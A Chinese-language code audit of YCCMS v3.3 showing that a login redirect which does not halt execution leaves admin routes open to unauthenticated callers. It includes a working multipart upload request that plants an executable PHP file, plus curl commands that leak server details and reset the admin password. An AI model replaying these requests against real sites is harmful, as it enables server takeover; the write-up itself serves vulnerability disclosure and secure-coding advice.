代码审计

本文档描述了Yccms ver3.3 project的路由未授权调用导致的文件上传和服务器信息泄漏漏洞，由于 `Factory` 类的 `setAction` 方法对于请求参数的判断和相应的会话管理不当，恶意的请求参数可以导致 `setAction` 函数载处理时产生任意文件上传进而导致代码执行和信息泄漏

YCCMS

YCCMS是一款PHP版轻量级CMS建站系统，程序页面设计简洁，生成静态html，后台功能强大，利于优化、超强收录、超强排名，适合做关键词排名、淘宝客程序，是个人、企业建站的理想选择

测试环境

- yccms version 3.3
- php version 7.2.9
- Mac OS X 10.12.6

框架分析

整个cms的入口文件位于 `/yccms_v3.3/admin/index.php`

```
<?php
require str_replace('\\','/',substr(dirname(__FILE__),0,-6)).'/config/run.inc.php'
;
?>
```

在此文件中引入 `/yccms_v3.3/config/run.inc.php` 文件

```php
<?php
//开启session
session_start();
//超时时间
@set_time_limit(0);
//设置编码
header('Content-Type:text/html;charset=utf-8');
//错误级别,报告警告之外的所有错误
error_reporting(E_ALL ^ E_NOTICE);
//设置时区
date_default_timezone_set('PRC');
//网站绝对根路径
define('ROOT_PATH',str_replace('\\','/',substr(dirname(__FILE__),0,-7)));
//引入配置文件
require ROOT_PATH.'/config/config.inc.php';
//引入Smarty
require ROOT_PATH.'/public/smarty/Smarty.class.php';
//自动加载类
function __autoload($_className){
    if(substr($_className,-6)=='Action'){
        require ROOT_PATH.'/controller/'.$_className.'.class.php';
    }elseif(substr($_className, -5) == 'Model'){
        require ROOT_PATH.'/model/'.$_className.'.class.php';
    }else{
        require ROOT_PATH.'/public/class/'.$_className.'.class.php';
    }
}
//单入口
Factory::setAction()->run();
?>
```

该文件中引入配置文件和定义了一些常用的变量，实现了类的自动加载，入口为 `Factory::setAction()->run();` 方法， `Factory` 类由如下定义，该类中指明了 `setAction` 函数的定义和执行

```
<?php
class Factory{
    static private $_obj=null;
    static public function setAction(){
        $_a=self::getA();
        if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','
pic','search','system','xml','online'))) {
            if (!isset($_SESSION['admin'])) {

                header('Location:'.'?a=login');

            }
        }
        if (!file_exists(ROOT_PATH.'/controller/'.$_a.'Action.class.php')) $_a = '
Index';
        eval('self::$_obj = new '.ucfirst($_a).'Action();');
        return self::$_obj;
    }

    static public function setModel() {
        $_a = self::getA();
        if (file_exists(ROOT_PATH.'/model/'.$_a.'Model.class.php')) eval('self::$_
obj = new '.ucfirst($_a).'Model();');
        return self::$_obj;
    }
    static public function getA(){
        if(isset($_GET['a']) && !empty($_GET['a'])){
            return $_GET['a'];
        }
        return 'login';
    }
}


?>
```

着重看 `setAction` 方法，在该方法中首先通过 `getA` 方法获取请求URL中的查询参数 `a` 的值,然后进行数组判断，这个数据其实就是控制器类的缩写名称，逻辑为当参数 `$a` 在这个数组中时，即要动态引入该类时需要进行会话判断，但是该数组写得不全，导致有些控制器缩写名可以逃逸，也就是不需要进入这个if判断直接进行下一步操作，如果用户 `admin` 会话不存在在即未登录情况下把 `header` 设置为 `'Location:'.'?a=login'` ，这儿存在一个逻辑错误，作者的本意是想当检查到当前请求未登录授权时跳转到登录页面进行登录操作，但是仅仅设置一个 `header` 属性值并不会阻止函数的继续向下执行，除非这里使用 `return` 语句或者直接 `exit` 中断函数的执行，否则不能达到预期目的，
而 `Factory::setAction()->run()` 中， `run` 方法由文件 `/yccms_v3.3/controller/Action.class.php` 中到 `Action` 类定义

```
<?php
//控制器基类
class Action {
    protected $_tpl = null;
    protected $_model = null;
    protected function __construct() {
        $this->_tpl = TPL::getInstance();
        $this->_model = Factory::setModel();
        Tool::setRequest(); //表单转义和html过滤
    }

    protected function page($_total,$_pagesize = PAGE_SIZE, $_model = null) {
        $this->_model = Validate::isNullString($_model) ? $this->_model : $_model;
        $_page = new Page($_total,$_pagesize);
        $this->_model->setLimit($_page->getLimit());
        $this->_tpl->assign('page',$_page->showpage());
        $this->_tpl->assign('num',($_page->getPage()-1)*$_pagesize);
    }
    //静态专用
    protected function page2($_total,$_pagesize = PAGE_SIZE, $_model = null,$_url2
='',$_fx='') {
        $this->_model = $_model;
        $_page = new Page($_total,$_pagesize,$_url2,$_fx);
        $this->_model->setLimit($_page->getLimit());
        $this->_tpl->assign('page',$_page->listpage());
        $this->_tpl->assign('num',($_page->getPage()-1)*$_pagesize);
    }

    public function run() {
        $_m = isset($_GET['m']) ? $_GET['m'] : 'index';
        method_exists($this, $_m) ? eval('$this->'.$_m.'();') : $this->index();
    }
}
?>
```

在该类中初始化时设置了一些模版和过滤方法，最重要的是 `run` 方法，其他的由 `setAction` 方法导入的 `Action` 类都继承了该方法，该方法为获取请求URL中的查询参数 `m` 的值，然后检查类的方法是否存在，如果存在则使用 `eval` 函数执行，通过以上分析，我们可以知道 `Factory::setAction()->run()` 中，方法 `setAction` 为获取请求URL参数中的 `a` 值，然后进行业务判断，但是由于会话管理逻辑错误，导致设置 `header` 值后，后面的函数依然被执行，进而导入动态类，执行最后的 `run` 方法,导致了CMS路由被未授权调用实现文件上传和服务器信息泄漏漏洞

漏洞验证

在文件 `/yccms_v3.3/controller/CallAction.class.php` 中找到了一个 `CallAction` 类，该类中有一个 `upLoad` 方法，该方法为处理上传图片

```
    //处理上传图片
    public function upLoad() {
        if (isset($_POST['send'])) {
            $_logoupload = new LogoUpload('pic',$_POST['MAX_FILE_SIZE']);
            $_path = $_logoupload->getPath();
            $_img = new Image($_path);
            $_img->xhImg(960,0);
            $_img->out();
            $_logoupload->alertOpenerClose('图片上传成功！','..'.$_path);
        } else {
            exit('警告：文件过大或者其他未知错误导致浏览器崩溃！');
        }
    }
```

通过对后台的一系列操作的URL分析，得到调用 `CallAction` 类中 `upLoad` 的URL为 `http://localhost:8000/admin/index.php?a=call&m=upLoad` ,正如我们上面分析，参数 `a` 的值 `call` 正是 `CallAction` 类的简称，而参数 `m` 的值则为 `upLoad` 方法名，该方法中调用了 `LogoUpload` 类处理请求

```
class LogoUpload {
    private $error;          //错误代码
    private $maxsize;        //表单最大值
    private $type;               //类型
    private $typeArr = array('image/png','image/x-png');        //类型合集
    private $path;               //目录路径
    private $name;           //文件名
    private $tmp;                //临时文件
    private $linkpath;       //链接路径

    //构造方法，初始化
    public function __construct($_file,$_maxsize) {
        $this->error = $_FILES[$_file]['error'];
        $this->maxsize = $_maxsize / 1024;
        $this->type = $_FILES[$_file]['type'];
        print_r($this->type);
        print_r($_SESSION);
        $this->path = ROOT_PATH.'/'.UPLOGO;
        $this->name = $_FILES[$_file]['name'];
        $this->tmp = $_FILES[$_file]['tmp_name'];
        $this->checkError();
        $this->checkType();
        $this->checkPath();
        $this->moveUpload();
    }

    //验证类型
    private function checkType() {
        if (!in_array($this->type,$this->typeArr)) {
            Tool::alertBack('警告：LOGO图片必须是PNG格式！');
        }
    }
    ...
```

可以看到上传文件处理中 `checkType` 只是简单的进行类型判断就直接进行保存操作,所以可以直接调用该路由实现任意文件上传

```
POST /admin/index.php?a=call&m=upLoad HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:62.0) Gecko/20100101
Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://phpweb.com:8000/admin/index.php?a=call&m=upfile&type=content
Content-Type: multipart/form-data; boundary=---------------------------15937204919
6763206654082463
Content-Length: 482
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------1593720491967632066540824 63
Content-Disposition: form-data; name="MAX_FILE_SIZE"

2097152
-----------------------------1593720491967632066540824 63
Content-Disposition: form-data; name="pic"; filename="test.php"
Content-Type: image/png


<?php echo md5('jiguang');?>
-----------------------------1593720491967632066540824 63
Content-Disposition: form-data; name="send"

确定上传
-----------------------------1593720491967632066540824 63--
```

然后接着访问 `http://localhost:8000/view/index/images/logo.php` ,代码成功执行

```
HTTP/1.1 200 OK
Host: localhost:8000
Date: Mon, 17 Sep 2018 09:02:27 +0000
Connection: close
X-Powered-By: PHP/7.2.9
Content-type: text/html; charset=UTF-8


79a784c1a41505d444019b566e1d0352
```

同样的在文件 `/yccms_v3.3/controller/AdminAction.class.php` 中找到了 `AdminAction` 类，其中有一个 `main` 方法用来获取服务器信息和 `update` 方法用来直接修改管理员密码信息，未经原始密码验证，如下

`main` 方法查看服务器信息

```
jiguang@~$ curl 'http://localhost:8000/admin/index.php?a=admin&m=main' -i
HTTP/1.1 302 Found
Host: localhost:8000
Date: Tue, 18 Sep 2018 02:15:50 +0800
Connection: close
X-Powered-By: PHP/7.2.9
Set-Cookie: PHPSESSID=rg5ful0ql6uf827e3cvaqbhodr; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type:text/html;charset=utf-8
Location:?a=login

<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<title>后台管理首页</title>
<link rel="stylesheet" type="text/css" href="../view/admin/style/basic.css" />
<link rel="stylesheet" type="text/css" href="../view/admin/style/main.css" />
</head>
<body style="background:#EBF1F3;">
<div id="current"></p>当前位置 &gt; <a href="?" target="_parent">后台首页</a></div>
<div id="main">
<table class="info" cellspacing="1">
<tr><td colspan="2" class="title">登录信息</td></tr>
<tr><td width="150">登录IP</td><td>127.0.0.1 ( 本机地址 )</td></tr>
<tr><td>登录次数</td><td></td></tr>
<tr><td>上次登录时间</td><td></td></tr>
<tr><td colspan="2" class="title">程序信息</td></tr>
<tr><td>程序版本</td><td>Ver 3.3</td></tr>
<tr><td>官方网站</td><td><a href="http://www.yccms.net" target="_blank">YCCMS.NET</a
></td></tr>
<tr><td colspan="2" class="title">统计信息</td></tr>
<tr><td>文章数量</td><td>5 条</td></tr>
<tr><td>剩余空间</td><td>113.21 GB</td></tr>
<tr><td>数据库大小</td><td>24.46 KB</td></tr>
<tr><td colspan="2" class="title">环境检测</td></tr>
<tr><td>文件读写</td><td><span style="color:green;font-weight:bold;">√ 支持</font></
td></tr>
<tr><td>支持PDO</td><td><span style="color:green;font-weight:bold;">√ 支持</font></t
d></tr>
<tr><td>GD函数库</td><td><span style="color:green;font-weight:bold;">√ 支持</font></
td></tr>
<tr><td>支持CURL</td><td><span style="color:green;font-weight:bold;">√ 支持</font></
td></tr>
<tr><td>allow_url_fopen</td><td><span style="color:green;font-weight:bold;">√ 支持<
```

```
/font></td></tr>
<tr><td colspan="2" class="title">服务器信息</td></tr>
<tr><td>网站域名</td><td><span class="green">localhost</span></td></tr>
<tr><td>服务器IP</td><td> ( IANA )</td></tr>
<tr><td>服务器端口</td><td>8000</td></tr>
<tr><td>服务器时间</td><td>2018-09-18 02:15:50</td></tr>
<tr><td>服务器版本</td><td>PHP 7.2.9 Development Server</td></tr>
<tr><td>服务器操作系统</td><td>Darwin myhost.local 16.7.0 Darwin Kernel Version 16.7.
0: Thu Jun 15 17:36:27 PDT 2017; root:xnu-3789.70.16~2/RELEASE_X86_64 x86_64</td><
/tr>
<tr><td>PHP版本</td><td>7.2.9</td></tr>
<tr><td>执行限制</td><td>0 秒 (0秒为不限制)</td></tr>
<tr><td>网站物理路径</td><td>/Users/jiguang/Downloads/yccms_v3.3</td></tr>
</table>
</div>
</body>
</html>
```

`update` 直接修改管理员密码信息，未经原始密码验证

```
jiguang@~$ curl 'http://localhost:8000/admin/index.php?a=admin&m=update' -i -d 'se
nd=123&username=admin&password=123456&notpassword=123456'
HTTP/1.1 302 Found
Host: localhost:8000
Date: Wed, 19 Sep 2018 11:45:38 +0800
Connection: close
X-Powered-By: PHP/7.2.9
Set-Cookie: PHPSESSID=200kudlc98i5pn76c48ucdckkd; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type:text/html;charset=utf-8
Location:?a=login

<br />
<b>Deprecated</b>:  __autoload() is deprecated, use spl_autoload_register() instea
d in <b>/Users/jiguang/Downloads/yccms_v3.3/config/run.inc.php</b> on line <b>19</
b><br />
<br />
<b>Deprecated</b>:  Methods with the same name as their class will not be construc
tors in a future version of PHP; Smarty has a deprecated constructor in <b>/Users/
jiguang/Downloads/yccms_v3.3/public/smarty/Smarty.class.php</b> on line <b>64</b><
br />
<script type="text/javascript" src="../public/js/jquery-1.8.1.min.js"></script><sc
ript type="text/javascript" src="../public/layer/layer.js"></script><script>$(func
tion(){layer.alert("密码修改成功!",{offset: ["75px"],icon:6,shade: 0.1,title:"信息提示
"},function(){self.location.href="?a=admin&m=update"})});</script>
jiguang@~$
```

总结

本文通过代码审计和本地测试验证了 `Yccms version 3.3` 项目存在的路由未授权调用导致的文件上传和服务器信息泄漏漏洞，在日常开发中，当遇到类时的业务逻辑判断的时候，如果所需的条件没有满足，应该尽量直接使用 `return` 语句返回整个请求响应对象,中断函数的继续向下执行，而不是简单的使用 `headers('Location:{}')` 这类操作，特别的，像对于的 `Nodejs` 这种异步执行的环境中，简单的执行 `res.redirect()` 语句并不会实现函数的终止执行，相反函数会继续向下执行，直到执行环境中没有语句可执行才返回，这就有违程序设计的初衷

by 极光